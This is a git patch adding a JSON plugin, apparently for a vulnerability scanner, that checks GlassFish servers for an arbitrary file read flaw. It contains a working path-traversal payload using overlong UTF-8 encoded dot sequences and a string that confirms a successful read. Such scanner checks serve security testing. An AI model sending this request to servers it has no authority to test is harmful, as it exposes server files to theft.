From 38dce67b285593b6d93e3e0fcfaa294a0ab51df2 Mon Sep 17 00:00:00 2001 From: wolf Date: Thu, 31 Jan 2019 21:44:45 +0800 Subject: [PATCH] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=20glassfish=20=E4=BB=BB?= =?UTF-8?q?=E6=84=8F=E6=96=87=E4=BB=B6=E8=AF=BB=E5=8F=96=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E6=8F=92=E4=BB=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- plugin/json/glassfish_lfr.json | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 plugin/json/glassfish_lfr.json diff --git a/plugin/json/glassfish_lfr.json b/plugin/json/glassfish_lfr.json new file mode 100644 index 00000000..3999668d --- /dev/null +++ b/plugin/json/glassfish_lfr.json @@ -0,0 +1,22 @@ +{ + "target":"glassfish", + "meta":{ + "name": "GlassFish 任意文件读取", + "remarks": "可读取服务器上的任意文件。", + "level": 2, + "type": "LFR", + "author": "wolf", + "references": { + "url":"https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0", + "cve":"" + } + }, + "request":{ + "path": "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/", + "postData": "" + }, + "verify":{ + "type": "string", + "match": "package-appclient.xml" + } +} \ No newline at end of file